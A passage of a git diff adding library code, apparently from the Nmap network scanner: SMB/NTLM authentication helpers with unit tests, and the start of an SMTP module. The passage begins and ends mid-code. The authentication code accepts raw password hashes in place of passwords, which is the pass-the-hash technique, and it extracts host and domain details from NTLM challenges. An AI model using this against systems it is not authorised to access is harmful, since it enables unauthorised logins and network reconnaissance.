+ local key1, key2, key3
+ local result
+
+ -- Pad the hash to 21 characters
+ lanman = lanman .. string.rep('\0', 21 - #lanman)
+
+ -- Take the first and second half of the password (note that if it's longer than 14 characters, it's truncated)
+ str1 = string.sub(lanman, 1, 7)
+ str2 = string.sub(lanman, 8, 14)
+ str3 = string.sub(lanman, 15, 21)
+
+ -- Generate the keys
+ key1 = openssl.DES_string_to_key(str1)
+ key2 = openssl.DES_string_to_key(str2)
+ key3 = openssl.DES_string_to_key(str3)
+
+ -- Print a warning message if a blank challenge is received, and create a phony challenge. A blank challenge is
+ -- invalid in the protocol, and causes some versions of OpenSSL to abort with no possible error handling.
+ if(challenge == "") then
+ stdnse.debug1("SMB: ERROR: Server returned invalid (blank) challenge value (should be 8 bytes); failing login to avoid OpenSSL crash.")
+ challenge = "AAAAAAAA"
+ end
+
+ -- Encrypt the challenge with each key
+ result = openssl.encrypt("DES", key1, nil, challenge) .. openssl.encrypt("DES", key2, nil, challenge) .. openssl.encrypt("DES", key3, nil, challenge)
+
+ return true, result
+end
+
+---Create the NTLM response to send back to the server.
+--
+-- This is actually done the exact same way as the Lanman hash,
+-- so I call the <code>Lanman</code> function.
+--
+--@param ntlm The NTLMv1 hash
+--@param challenge The server's challenge.
+--@return true on success, or false on error
+--@return The client challenge response, or an error message
+function ntlm_create_response(ntlm, challenge)
+ if(have_ssl ~= true) then
+ return false, "SMB: OpenSSL not present"
+ end
+
+ return lm_create_response(ntlm, challenge)
+end
+
+---Create the NTLM mac key, which is used for message signing.
+--
+-- For basic authentication, this is the md4 of the NTLM hash, concatenated
+-- with the response hash; for extended authentication, this is just the md4 of
+-- the NTLM hash.
+--
+--@param ntlm_hash The NTLM hash.
+--@param ntlm_response The NTLM response.
+--@param is_extended Should be set if extended security negotiations are being used.
+--@return The NTLM mac key
+function ntlm_create_mac_key(ntlm_hash, ntlm_response, is_extended)
+ if(have_ssl ~= true) then
+ return false, "SMB: OpenSSL not present"
+ end
+ if(is_extended) then
+ return openssl.md4(ntlm_hash)
+ else
+ return openssl.md4(ntlm_hash) .. ntlm_response
+ end
+end
+
+---Create the LM mac key, which is used for message signing.
+--
+-- For basic authentication, it's the first 8 bytes of the lanman hash,
+-- followed by 8 null bytes, followed by the lanman response; for extended
+-- authentication, this is just the first 8 bytes of the lanman hash followed
+-- by 8 null bytes.
+--
+--@param lm_hash The LM hash.
+--@param lm_response The LM response.
+--@param is_extended Should be set if extended security negotiations are being used.
+--@return The LM mac key
+function lm_create_mac_key(lm_hash, lm_response, is_extended)
+ if(have_ssl ~= true) then
+ return false, "SMB: OpenSSL not present"
+ end
+
+ if(is_extended) then
+ return string.sub(lm_hash, 1, 8) .. string.rep('\0', 8)
+ else
+ return string.sub(lm_hash, 1, 8) .. string.rep('\0', 8) .. lm_response
+ end
+end
+
+---Create the NTLMv2 hash.
+--
+-- The NTLMv2 hash is based on the NTLMv1 hash (for easy upgrading), the
+-- username, and the domain. Essentially, the NTLM hash is used as a HMAC-MD5
+-- key, which is used to hash the unicode domain concatenated with the unicode
+-- username.
+--
+--@param ntlm The NTLMv1 hash.
+--@param username The username we're using.
+--@param domain The domain.
+--@return true on success, or false on error
+--@return The NTLMv2 hash or an error message
+function ntlmv2_create_hash(ntlm, username, domain)
+ if(have_ssl ~= true) then
+ return false, "SMB: OpenSSL not present"
+ end
+
+ username = unicode.utf8to16(string.upper(username))
+ domain = unicode.utf8to16(string.upper(domain))
+
+ return true, openssl.hmac("MD5", ntlm, username .. domain)
+end
+
+---Create the LMv2 response, which can be sent back to the server.
+--
+-- This is identical to the <code>NTLMv2</code> function,
+-- except that it uses an 8-byte client challenge.
+--
+-- The reason for LMv2 is a long and twisted story. Well, not really. The
+-- reason is basically that the v1 hashes are always 24-bytes, and some servers
+-- expect 24 bytes, but the NTLMv2 hash is more than 24 bytes. So, the only way
+-- to keep pass-through compatibility was to have a v2-hash that was guaranteed
+-- to be 24 bytes. So LMv2 was born -- it has a 16-byte hash followed by the
+-- 8-byte client challenge, for a total of 24 bytes. And now you've learned
+-- something
+--
+--@param ntlm The NVLMv1 hash.
+--@param username The username we're using.
+--@param domain The domain.
+--@param challenge The server challenge.
+--@return true on success, or false on error
+--@return The LMv2 response, or an error message
+function lmv2_create_response(ntlm, username, domain, challenge)
+ if(have_ssl ~= true) then
+ return false, "SMB: OpenSSL not present"
+ end
+
+ return ntlmv2_create_response(ntlm, username, domain, challenge, 8)
+end
+
+---Create the NTLMv2 response, which can be sent back to the server.
+--
+-- This is done by using the HMAC-MD5 algorithm with the NTLMv2 hash as a key,
+-- and the server challenge concatenated with the client challenge for the
+-- data. The resulting hash is concatenated with the client challenge and
+-- returned.
+--
+-- The "proper" implementation for this uses a certain structure for the client
+-- challenge, involving the time and computer name and stuff (if you don't do
+-- this, Wireshark tells you it's a malformed packet). In my tests, however, I
+-- couldn't get Vista to recognize a client challenge longer than 24 bytes, and
+-- this structure was guaranteed to be much longer than 24 bytes. So, I just
+-- use a random string generated by OpenSSL. I've tested it on every Windows
+-- system from Windows 2000 to Windows Vista, and it has always worked.
+--
+--@param ntlm The NVLMv1 hash.
+--@param username The username we're using.
+--@param domain The domain.
+--@param challenge The server challenge.
+--@param client_challenge_length number of random bytes of client challenge to use
+--@return true on success, or false on error
+--@return The NTLMv2 response, or an error message
+function ntlmv2_create_response(ntlm, username, domain, challenge, client_challenge_length)
+ if(have_ssl ~= true) then
+ return false, "SMB: OpenSSL not present"
+ end
+
+ local client_challenge = openssl.rand_bytes(client_challenge_length)
+
+ local status, ntlmv2_hash = ntlmv2_create_hash(ntlm, username, domain)
+
+ return true, openssl.hmac("MD5", ntlmv2_hash, challenge .. client_challenge) .. client_challenge
+end
+
+
+--- Generates the ntlmv2 session response.
+-- It starts by generatng an 8 byte random client nonce, it is padded to 24 bytes.
+-- The padded value is the lanman response. A session nonce is made by
+-- concatenating the server challenge and the client nonce. The ntlm session hash
+-- is first 8 bytes of the md5 hash of the session nonce.
+-- The ntlm response is the lm response with session hash as challenge.
+-- @param ntlm_password_hash The md4 hash of the utf-16 password.
+-- @param challenge The challenge sent by the server.
+function ntlmv2_session_response(ntlm_password_hash, challenge)
+ local client_nonce = openssl.rand_bytes(8)
+
+ local lm_response = client_nonce .. string.rep('\0', 24 - #client_nonce)
+ local session_nonce = challenge .. client_nonce
+ local ntlm_session_hash = openssl.md5(session_nonce):sub(1,8)
+
+ local status, ntlm_response = lm_create_response(ntlm_password_hash, ntlm_session_hash)
+
+ return status, lm_response, ntlm_response
+end
+---Generate the Lanman and NTLM password hashes.
+--
+-- The password itself is taken from the function parameters, the script
+-- arguments, and the registry (in that order). If no password is set, then the
+-- password hash is used (which is read from all the usual places). If neither
+-- is set, then a blank password is used.
+--
+-- The output passwords are hashed based on the hash type.
+--
+--@param ip The ip address of the host, used for registry lookups.
+--@param username The username, which is used for v2 passwords.
+--@param domain The username, which is used for v2 passwords.
+--@param password [optional] The overriding password.
+--@param password_hash [optional] The overriding password hash. Shouldn't be
+-- set if password is set.
+--@param challenge The server challenge.
+--@param hash_type The way in which to hash the password.
+--@param is_extended Set to 'true' if extended security negotiations are being
+-- used (this has to be known for the message-signing key to
+-- be generated properly).
+--@return lm_response, to be send directly back to the server
+--@return ntlm_response, to be send directly back to the server
+--@reutrn mac_key used for message signing.
+function get_password_response(ip, username, domain, password, password_hash, hash_type, challenge, is_extended)
+ local status
+ local lm_hash = nil
+ local ntlm_hash = nil
+ local mac_key = nil
+ local lm_response, ntlm_response
+
+ -- Check for a blank password
+ if(password == nil and password_hash == nil) then
+ stdnse.debug2("SMB: Couldn't find password or hash to use (assuming blank)")
+ password = ""
+ end
+
+ -- The anonymous user requires a single 0-byte instead of a LANMAN hash (don't ask me why, but it doesn't work without)
+ if(hash_type == 'none') then
+ return '\0', '', nil
+ end
+
+ -- If we got a password, hash it
+ if(password ~= nil) then
+ status, lm_hash = lm_create_hash(password)
+ status, ntlm_hash = ntlm_create_hash(password)
+ else
+ if(password_hash ~= nil) then
+ if(string.find(password_hash, "^" .. string.rep("%x%x", 16) .. "$")) then
+ stdnse.debug2("SMB: Found a 16-byte hex string")
+ lm_hash = stdnse.fromhex(password_hash:sub(1, 32))
+ ntlm_hash = stdnse.fromhex(password_hash:sub(1, 32))
+ elseif(string.find(password_hash, "^" .. string.rep("%x%x", 32) .. "$")) then
+ stdnse.debug2("SMB: Found a 32-byte hex string")
+ lm_hash = stdnse.fromhex(password_hash:sub(1, 32))
+ ntlm_hash = stdnse.fromhex(password_hash:sub(33, 64))
+ elseif(string.find(password_hash, "^" .. string.rep("%x%x", 16) .. "." .. string.rep("%x%x", 16) .. "$")) then
+ stdnse.debug2("SMB: Found two 16-byte hex strings")
+ lm_hash = stdnse.fromhex(password_hash:sub(1, 32))
+ ntlm_hash = stdnse.fromhex(password_hash:sub(34, 65))
+ else
+ stdnse.debug1("SMB: ERROR: Hash(es) provided in an invalid format (should be 32, 64, or 65 hex characters)")
+ lm_hash = nil
+ ntlm_hash = nil
+ end
+ end
+ end
+
+ -- At this point, we should have a good lm_hash and ntlm_hash if we're getting one
+ if(lm_hash == nil or ntlm_hash == nil) then
+ stdnse.debug2("SMB: Couldn't determine which password to use, using a blank one")
+ return "", ""
+ end
+
+ -- Output what we've got so far
+ stdnse.debug2("SMB: Lanman hash: %s", stdnse.tohex(lm_hash))
+ stdnse.debug2("SMB: NTLM hash: %s", stdnse.tohex(ntlm_hash))
+
+ -- Hash the password the way the user wants
+ if(hash_type == "v1") then
+ -- LM and NTLM are hashed with their respective algorithms
+ stdnse.debug2("SMB: Creating v1 response")
+ status, lm_response = lm_create_response(lm_hash, challenge)
+ status, ntlm_response = ntlm_create_response(ntlm_hash, challenge)
+
+ mac_key = ntlm_create_mac_key(ntlm_hash, ntlm_response, is_extended)
+
+ elseif(hash_type == "lm") then
+ -- LM is hashed with its algorithm, NTLM is blank
+ stdnse.debug2("SMB: Creating LMv1 response")
+ status, lm_response = lm_create_response(lm_hash, challenge)
+ ntlm_response = ""
+
+ mac_key = lm_create_mac_key(lm_hash, lm_response, is_extended)
+
+ elseif(hash_type == "ntlm") then
+ -- LM and NTLM both use the NTLM algorithm
+ stdnse.debug2("SMB: Creating NTLMv1 response")
+ status, lm_response = ntlm_create_response(ntlm_hash, challenge)
+ status, ntlm_response = ntlm_create_response(ntlm_hash, challenge)
+
+ mac_key = ntlm_create_mac_key(ntlm_hash, ntlm_response, is_extended)
+
+ elseif(hash_type == "v2") then
+ -- LM and NTLM are hashed with their respective v2 algorithms
+ stdnse.debug2("SMB: Creating v2 response")
+ status, lm_response = lmv2_create_response(ntlm_hash, username, domain, challenge)
+ status, ntlm_response = ntlmv2_create_response(ntlm_hash, username, domain, challenge, 24)
+
+ elseif(hash_type == "lmv2") then
+ -- LM is hashed with its v2 algorithm, NTLM is blank
+ stdnse.debug2("SMB: Creating LMv2 response")
+ status, lm_response = lmv2_create_response(ntlm_hash, username, domain, challenge)
+ ntlm_response = ""
+
+ elseif(hash_type == "ntlmv2_session") then
+ stdnse.debug2("SMB: Creating nltmv2 session response")
+ status, lm_response, ntlm_response = ntlmv2_session_response(ntlm_hash, challenge)
+ else
+ -- Default to NTLMv1
+ if(hash_type ~= nil) then
+ stdnse.debug1("SMB: Invalid login type specified ('%s'), using default (NTLM)", hash_type)
+ else
+ stdnse.debug1("SMB: No login type specified, using default (NTLM)")
+ end
+
+ status, lm_response = ntlm_create_response(ntlm_hash, challenge)
+ status, ntlm_response = ntlm_create_response(ntlm_hash, challenge)
+
+ end
+
+ stdnse.debug2("SMB: Lanman response: %s", stdnse.tohex(lm_response))
+ stdnse.debug2("SMB: NTLM response: %s", stdnse.tohex(ntlm_response))
+
+ return lm_response, ntlm_response, mac_key
+end
+
+---Generate an NTLMSSP security blob.
+--@param security_blob The server's security blob, or nil if this is the first
+-- message
+--@param ip The ip address of the host, used for registry lookups.
+--@param username The username, which is used for v2 passwords.
+--@param domain The username, which is used for v2 passwords.
+--@param password [optional] The overriding password.
+--@param password_hash [optional] The overriding password hash. Shouldn't be
+-- set if password is set.
+--@param hash_type The way in which to hash the password.
+--@param flags The NTLM flags as a number
+function get_security_blob(security_blob, ip, username, domain, password, password_hash, hash_type, flags)
+ local pos = 1
+ local new_blob
+ local flags = flags or 0x00008215 -- (NEGOTIATE_SIGN_ALWAYS | NEGOTIATE_NTLM | NEGOTIATE_SIGN | REQUEST_TARGET | NEGOTIATE_UNICODE)
+
+ if(security_blob == nil) then
+ -- If security_blob is nil, this is the initial packet
+ new_blob = string.pack("<zI4I4I8I8",
+ "NTLMSSP", -- Identifier
+ NTLMSSP_NEGOTIATE, -- Type
+ flags, -- Flags
+ 0, -- Calling workstation domain
+ 0 -- Calling workstation name
+ )
+
+ return true, new_blob, "", ""
+ else
+ -- Parse the old security blob
+ local identifier, message_type, domain_length, domain_max, domain_offset, server_flags, challenge, reserved = string.unpack("<I8I4I2I2I4I4c8c8", security_blob)
+ local lanman, ntlm, mac_key = get_password_response(ip, username, domain, password, password_hash, hash_type, challenge, true)
+
+ -- Convert the username and domain to unicode (TODO: Disable the unicode flag, evaluate if that'll work)
+ local hostname = unicode.utf8to16("nmap")
+ username = unicode.utf8to16(username)
+ domain = (#username > 0 ) and unicode.utf8to16(domain) or ""
+ ntlm = (#username > 0 ) and ntlm or ""
+ lanman = (#username > 0 ) and lanman or '\0'
+
+ local domain_offset = 0x40
+ local username_offset = domain_offset + #domain
+ local hostname_offset = username_offset + #username
+ local lanman_offset = hostname_offset + #hostname
+ local ntlm_offset = lanman_offset + #lanman
+ local sessionkey_offset = ntlm_offset + #ntlm
+
+ new_blob = string.pack("<zI4 I2I2I4 I2I2I4 I2I2I4 I2I2I4 I2I2I4 I2I2I4 I4",
+ "NTLMSSP",
+ NTLMSSP_AUTH,
+ #lanman,
+ #lanman,
+ lanman_offset,
+ ( #ntlm > 0 and #ntlm - 16 or 0 ),
+ ( #ntlm > 0 and #ntlm - 16 or 0 ),
+ ntlm_offset,
+ #domain,
+ #domain,
+ domain_offset,
+ #username,
+ #username,
+ username_offset,
+ #hostname,
+ #hostname,
+ hostname_offset,
+ #session_key,
+ #session_key,
+ sessionkey_offset,
+ flags)
+ .. domain
+ .. username
+ .. hostname
+ .. lanman
+ .. ntlm
+ .. session_key
+
+ return true, new_blob, mac_key
+ end
+
+end
+
+---
+-- Host information for NTLM security
+-- @class table
+-- @name host_info
+-- @field target_realm Target Name Data
+-- @field netbios_computer_name Server name
+-- @field netbios_domain_name Domain name
+-- @field fqdn DNS server name
+-- @field dns_domain_name DNS domain name
+-- @field dns_forest_name DNS tree name
+-- @field timestamp Timestamp
+
+---
+-- Gets host info from a security blob
+-- @param security_blob The NTLM security blob
+-- @return A host_info table containing the data in the blob.
+-- @see host_info
+function get_host_info_from_security_blob(security_blob)
+ local identifier, message_type, domain_length, domain_max, domain_offset, server_flags, challenge, hpos = string.unpack("<c8I4 I2I2I4 I4I8", security_blob)
+
+ -- Do some validation on the NTLMSSP message
+ if ( identifier ~= "NTLMSSP\0" ) then
+ stdnse.debug1("SMB: Invalid NTLM challenge message: unexpected signature." )
+ return false, "Invalid NTLM challenge message"
+ -- Per MS-NLMP, this field must be 2 for an NTLM challenge message
+ elseif ( message_type ~= 0x2 ) then
+ stdnse.debug1("SMB: Invalid NTLM challenge message: unexpected message type: %d.", message_type )
+ return false, "Invalid message type in NTLM challenge message"
+ end
+
+ local ntlm_challenge = {}
+
+ -- Parse the TargetName data (i.e. the server authentication realm)
+ if ( domain_length > 0 ) then
+ local length = domain_length
+ local pos = domain_offset + 1 -- +1 to convert to Lua's 1-based indexes
+ local target_realm
+ target_realm = string.unpack("c" .. length, security_blob, pos )
+ ntlm_challenge[ "target_realm" ] = unicode.utf16to8( target_realm )
+ end
+
+ if hpos + domain_length > #security_blob then
+ -- Context, Target Information, and OS Version structure are all omitted
+ -- Probably Win9x
+ return ntlm_challenge
+ end
+
+ local context, target_info_length, target_info_max, target_info_offset, hpos = string.unpack("<I8 I2I2I4", security_blob, hpos)
+
+ -- OS info is in the intervening 8 bytes, subtract 1 for lua 1-index
+ if target_info_offset >= hpos + 7 and domain_offset >= hpos + 7 then
+ local major, minor, build, reserved = string.unpack("<BBI2c4", security_blob, hpos)
+ if reserved == "\0\0\0\x0f" then
+ ntlm_challenge.os_major_version = major
+ ntlm_challenge.os_minor_version = minor
+ ntlm_challenge.os_build = build
+ else
+ stdnse.debug2("smbauth: Unknown OS info structure in NTLM handshake")
+ end
+ end
+
+ -- Parse the TargetInfo data (Wireshark calls this the "Address List")
+ if ( target_info_length > 0 ) then
+
+ -- Definition of AvId values (IDs for AV_PAIR (attribute-value pair) structures),
+ -- as defined by the NTLM Authentication Protocol specification [MS-NLMP].
+ local NTLM_AV_ID_VALUES = {
+ MsvAvEOL = 0x0,
+ MsvAvNbComputerName = 0x1,
+ MsvAvNbDomainName = 0x2,
+ MsvAvDnsComputerName = 0x3,
+ MsvAvDnsDomainName = 0x4,
+ MsvAvDnsTreeName = 0x5,
+ MsvAvFlags = 0x6,
+ MsvAvTimestamp = 0x7,
+ MsvAvRestrictions = 0x8,
+ MsvAvTargetName = 0x9,
+ MsvAvChannelBindings = 0xA,
+ }
+ -- Friendlier names for AvId values, to be used as keys in the results table
+ -- e.g. ntlm_challenge[ "dns_computer_name" ] -> "host.test.local"
+ local NTLM_AV_ID_NAMES = {
+ [NTLM_AV_ID_VALUES.MsvAvNbComputerName] = "netbios_computer_name",
+ [NTLM_AV_ID_VALUES.MsvAvNbDomainName] = "netbios_domain_name",
+ [NTLM_AV_ID_VALUES.MsvAvDnsComputerName] = "fqdn",
+ [NTLM_AV_ID_VALUES.MsvAvDnsDomainName] = "dns_domain_name",
+ [NTLM_AV_ID_VALUES.MsvAvDnsTreeName] = "dns_forest_name",
+ [NTLM_AV_ID_VALUES.MsvAvTimestamp] = "timestamp",
+ }
+
+
+ local length = target_info_length
+ local pos = target_info_offset + 1 -- +1 to convert to Lua's 1-based indexes
+ local target_info
+ target_info = string.unpack("c" .. length, security_blob, pos)
+
+ pos = 1 -- reset pos to 1, since we'll be working out of just the target_info
+ repeat
+ local value, av_id
+ av_id, value, pos = string.unpack( "<I2s2", target_info, pos )
+ local friendly_name = NTLM_AV_ID_NAMES[ av_id ]
+
+ if ( av_id == NTLM_AV_ID_VALUES.MsvAvEOL ) then
+ break
+ elseif ( av_id == NTLM_AV_ID_VALUES.MsvAvTimestamp ) then
+ -- this is a FILETIME value (see [MS-DTYP]), representing the time in 100-ns increments since 1/1/1601
+ ntlm_challenge[ friendly_name ] = string.unpack( "<I8", value )
+ elseif ( friendly_name ) then
+ ntlm_challenge[ friendly_name ] = unicode.utf16to8( value )
+ end
+ until ( pos >= #target_info )
+ end
+
+ return ntlm_challenge
+end
+
+---Create an 8-byte message signature that's sent with all SMB packets.
+--
+--@param mac_key The key used for authentication. It's the concatenation of the
+-- session key and the response hash.
+--@param data The packet to generate the signature for. This should be the
+-- packet that's about to be sent, except with the signature slot
+-- replaced with the sequence number.
+--@return The 8-byte signature. The signature is equal to the first eight bytes
+-- of md5(mac_key .. smb_data)
+function calculate_signature(mac_key, data)
+ if(have_ssl) then
+ return string.sub(openssl.md5(mac_key .. data), 1, 8)
+ else
+ return string.rep('\0', 8)
+ end
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+-- OpenSSL-dependent crypto tests.
+if have_ssl then
+ test_suite:add_test(unittest.equal(
+ stdnse.tohex(select(-1, lm_create_hash("passphrase"))),
+ "855c3697d9979e78ac404c4ba2c66533"
+ ),
+ "lm_create_hash"
+ )
+ test_suite:add_test(unittest.equal(
+ stdnse.tohex(select(-1, ntlm_create_hash("passphrase"))),
+ "7f8fe03093cc84b267b109625f6bbf4b"
+ ),
+ "ntlm_create_hash"
+ )
+ test_suite:add_test(unittest.equal(
+ stdnse.tohex(select(-1, lm_create_hash("ÅÇÅÇ"))),
+ "1830f5732b438091aad3b435b51404ee"
+ ),
+ "lm_create_hash"
+ )
+ test_suite:add_test(unittest.equal(
+ stdnse.tohex(select(-1, ntlm_create_hash("öäü"))),
+ "4848bcb81cf018c3b70ea1479bd1374d"
+ ),
+ "ntlm_create_hash"
+ )
+end
+
+return _ENV;
diff --git a/nselib/smtp.lua b/nselib/smtp.lua
new file mode 100644
index 0000000..f0d3fba
--- /dev/null
+++ b/nselib/smtp.lua
@@ -0,0 +1,655 @@
+---
+-- Simple Mail Transfer Protocol (SMTP) operations.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @args smtp.domain The domain to be returned by get_domain, overriding the
+-- target's own domain name.
+
+local base64 = require "base64"
+local comm = require "comm"
+local sasl = require "sasl"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+_ENV = stdnse.module("smtp", stdnse.seeall)
+
+local ERROR_MESSAGES = {
+ ["EOF"] = "connection closed",
+ ["TIMEOUT"] = "connection timeout",
+ ["ERROR"] = "failed to receive data"
+}
+
+local SMTP_CMD = {
+ ["EHLO"] = {
+ cmd = "EHLO",
+ success = {
+ [250] = "Requested mail action okay, completed",
+ },
+ errors = {
+ [421] = "<domain> Service not available, closing transmission channel",
+ [500] = "Syntax error, command unrecognised",
+ [501] = "Syntax error in parameters or arguments",
+ [504] = "Command parameter not implemented",
+ [550] = "Not implemented",
+ },
+ },
+ ["HELP"] = {
+ cmd = "HELP",
+ success = {
+ [211] = "System status, or system help reply",
+ [214] = "Help message",
+ },
+ errors = {
+ [500] = "Syntax error, command unrecognised",
+ [501] = "Syntax error in parameters or arguments",
+ [502] = "Command not implemented",
+ [504] = "Command parameter not implemented",
+ [421] = "<domain> Service not available, closing transmission channel",
+ },
+ },
+ ["AUTH"] = {
+ cmd = "AUTH",
+ success = {[334] = ""},
+ errors = {
+ [501] = "Authentication aborted",
+ },
+ },
+ ["MAIL"] = {
+ cmd = "MAIL",
+ success = {
+ [250] = "Requested mail action okay, completed",
+ },
+ errors = {
+ [451] = "Requested action aborted: local error in processing",
+ [452] = "Requested action not taken: insufficient system storage",
+ [500] = "Syntax error, command unrecognised",
+ [501] = "Syntax error in parameters or arguments",
+ [421] = "<domain> Service not available, closing transmission channel",
+ [552] = "Requested mail action aborted: exceeded storage allocation",
+ },
+ },
+ ["RCPT"] = {
+ cmd = "RCPT",
+ success = {
+ [250] = "Requested mail action okay, completed",
+ [251] = "User not local; will forward to <forward-path>",
+ },
+ errors = {
+ [450] = "Requested mail action not taken: mailbox unavailable",
+ [451] = "Requested action aborted: local error in processing",
+ [452] = "Requested action not taken: insufficient system storage",
+ [500] = "Syntax error, command unrecognised",
+ [501] = "Syntax error in parameters or arguments",
+ [503] = "Bad sequence of commands",
+ [521] = "<domain> does not accept mail [rfc1846]",
+ [421] = "<domain> Service not available, closing transmission channel",
+ },
+ },
+ ["DATA"] = {
+ cmd = "DATA",
+ success = {
+ [250] = "Requested mail action okay, completed",
+ [354] = "Start mail input; end with <CRLF>.<CRLF>",
+ },
+ errors = {
+ [451] = "Requested action aborted: local error in processing",
+ [554] = "Transaction failed",
+ [500] = "Syntax error, command unrecognised",
+ [501] = "Syntax error in parameters or arguments",
+ [503] = "Bad sequence of commands",
+ [421] = "<domain> Service not available, closing transmission channel",
+ [552] = "Requested mail action aborted: exceeded storage allocation",
+ [554] = "Transaction failed",
+ [451] = "Requested action aborted: local error in processing",
+ [452] = "Requested action not taken: insufficient system storage",
+ },
+ },
+ ["STARTTLS"] = {
+ cmd = "STARTTLS",
+ success = {
+ [220] = "Ready to start TLS"
+ },
+ errors = {
+ [501] = "Syntax error (no parameters allowed)",
+ [454] = "TLS not available due to temporary reason",
+ },
+ },
+ ["RSET"] = {
+ cmd = "RSET",
+ success = {
+ [200] = "nonstandard success response, see rfc876)",
+ [250] = "Requested mail action okay, completed",
+ },
+ errors = {
+ [500] = "Syntax error, command unrecognised",
+ [501] = "Syntax error in parameters or arguments",
+ [504] = "Command parameter not implemented",
+ [421] = "<domain> Service not available, closing transmission channel",
+ },
+ },
+ ["VRFY"] = {
+ cmd = "VRFY",
+ success = {
+ [250] = "Requested mail action okay, completed",
+ [251] = "User not local; will forward to <forward-path>",
+ },
+ errors = {
+ [500] = "Syntax error, command unrecognised",
+ [501] = "Syntax error in parameters or arguments",
+ [502] = "Command not implemented",
+ [504] = "Command parameter not implemented",
+ [550] = "Requested action not taken: mailbox unavailable",
+ [551] = "User not local; please try <forward-path>",
+ [553] = "Requested action not taken: mailbox name not allowed",
+ [421] = "<domain> Service not available, closing transmission channel",
+ },
+ },
+ ["EXPN"] = {
+ cmd = "EXPN",
+ success = {
+ [250] = "Requested mail action okay, completed",
+ },
+ errors = {
+ [550] = "Requested action not taken: mailbox unavailable",
+ [500] = "Syntax error, command unrecognised",
+ [501] = "Syntax error in parameters or arguments",
+ [502] = "Command not implemented",
+ [504] = "Command parameter not implemented",
+ [421] = "<domain> Service not available, closing transmission channel",
+ },
+ },
+}
+---
+-- Returns a domain to be used in the SMTP commands that need it.
+--
+-- If the user specified one through the script argument
+-- <code>smtp.domain</code> this function will return it. Otherwise it will try
+-- to find the domain from the typed hostname and from the rDNS name. If it
+-- still can't find one it will return the nmap.scanme.org by default.
+--
+-- @param host The host table
+-- @return The hostname to be used by the different SMTP commands.
+get_domain = function(host)
+ local nmap_domain = "nmap.scanme.org"
+
+ -- Use the user provided options.
+ local result = stdnse.get_script_args("smtp.domain")
+ if not result then
+ if type(host) == "table" then
+ if host.targetname then
+ result = host.targetname
+ elseif (host.name and #host.name ~= 0) then
+ result = host.name
+ end
+ end
+ end
+
+ return result or nmap_domain
+end
+
+--- Gets the authentication mechanisms that are listed in the response
+-- of the client's EHLO command.
+--
+-- @param response The response of the client's EHLO command.
+-- @return An array of authentication mechanisms on success, or nil
+-- when it can't find authentication.
+get_auth_mech = function(response)
+ local list = {}
+
+ for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
+ local authstr = line:match("%d+%-AUTH%s(.*)$")
+ if authstr then
+ for mech in authstr:gmatch("[^%s]+") do
+ table.insert(list, mech)
+ end
+ return list
+ end
+ end
+
+ return nil
+end
+
+--- Checks the SMTP server reply to see if it supports the previously
+-- sent SMTP command.
+--
+-- @param cmd The SMTP command that was sent to the server
+-- @param reply The SMTP server reply
+-- @return true if the reply indicates that the SMTP command was
+-- processed by the server correctly, or false on failures.
+-- @return message The reply returned by the server on success, or an
+-- error message on failures.
+check_reply = function(cmd, reply)
+ local code, msg = string.match(reply, "^([0-9]+)%s*")
+ if code then
+ cmd = cmd:upper()
+ code = tonumber(code)
+ if SMTP_CMD[cmd] then
+ if SMTP_CMD[cmd].success[code] then
+ return true, reply
+ end
+ else
+ stdnse.debug3(
+ "SMTP: check_smtp_reply failed: %s not supported", cmd)
+ return false, string.format("SMTP: %s %s", cmd, reply)
+ end
+ end
+ stdnse.debug3(
+ "SMTP: check_smtp_reply failed: %s %s", cmd, reply)
+ return false, string.format("SMTP: %s %s", cmd, reply)
+end
+
+
+--- Queries the SMTP server for a specific service.
+--
+-- This is a low level function that can be used to have more control
+-- over the data exchanged. On network errors the socket will be closed.
+-- This function automatically adds <code>CRLF<code> at the end.
+--
+-- @param socket connected to the server
+-- @param cmd The SMTP cmd to send to the server
+-- @param data The data to send to the server
+-- @param lines The minimum number of lines to receive, default value: 1.
+-- @return true on success, or nil on failures.
+-- @return response The returned response from the server on success, or
+-- an error message on failures.
+query = function(socket, cmd, data, lines)
+ if data then
+ cmd = cmd.." "..data
+ end
+
+ local st, ret = socket:send(string.format("%s\r\n", cmd))
+ if not st then
+ socket:close()
+ stdnse.debug3("SMTP: failed to send %s request.", cmd)
+ return st, string.format("SMTP failed to send %s request.", cmd)
+ end
+
+ st, ret = socket:receive_lines(lines or 1)
+ if not st then
+ socket:close()
+ stdnse.debug3("SMTP %s: failed to receive data: %s.",
+ cmd, (ERROR_MESSAGES[ret] or 'unspecified error'))
+ return st, string.format("SMTP %s: failed to receive data: %s",
+ cmd, (ERROR_MESSAGES[ret] or 'unspecified error'))
+ end
+
+ return st, ret
+end
+
+--- Connects to the SMTP server based on the provided options.
+--
+-- @param host The host table
+-- @param port The port table
+-- @param opts The connection option table, possible options:
+-- ssl: try to connect using TLS
+-- timeout: generic timeout value
+-- recv_before: receive data before returning
+-- lines: a minimum number of lines to receive
+-- @return socket The socket descriptor, or nil on errors
+-- @return response The response received on success and when
+-- the recv_before is set, or the error message on failures.
+connect = function(host, port, opts)
+ local socket, _, ret
+ if opts.ssl then
+ socket, _, _, ret = comm.tryssl(host, port, '', opts)
+ else
+ socket, _, ret = comm.opencon(host, port, nil, opts)
+ end
+ if not socket then
+ return socket, (ERROR_MESSAGES[ret] or 'unspecified error')
+ end
+ return socket, ret
+end
+
+--- Switches the plain text connection to be protected by the TLS protocol
+-- by using the SMTP STARTTLS command.
+--
+-- The socket will be reconnected by using SSL. On network errors or if the
+-- SMTP command fails, the connection will be closed and the socket cleared.
+--
+-- @param socket connected to server.
+-- @return true on success, or nil on failures.
+-- @return message On success this will contain the SMTP server response
+-- to the client's STARTTLS command, or an error message on failures.
+starttls = function(socket)
+ local st, reply, ret
+
+ st, reply = query(socket, "STARTTLS")
+ if not st then
+ return st, reply
+ end
+
+ st, ret = check_reply('STARTTLS', reply)
+ if not st then
+ quit(socket)
+ return st, ret
+ end
+
+ st, ret = socket:reconnect_ssl()
+ if not st then
+ socket:close()
+ return st, ret
+ end
+
+ return true, reply
+end
+
+--- Sends the EHLO command to the SMTP server.
+--
+-- On network errors or if the SMTP command fails, the connection
+-- will be closed and the socket cleared.
+--
+-- @param socket connected to server
+-- @param domain to use in the EHLO command.
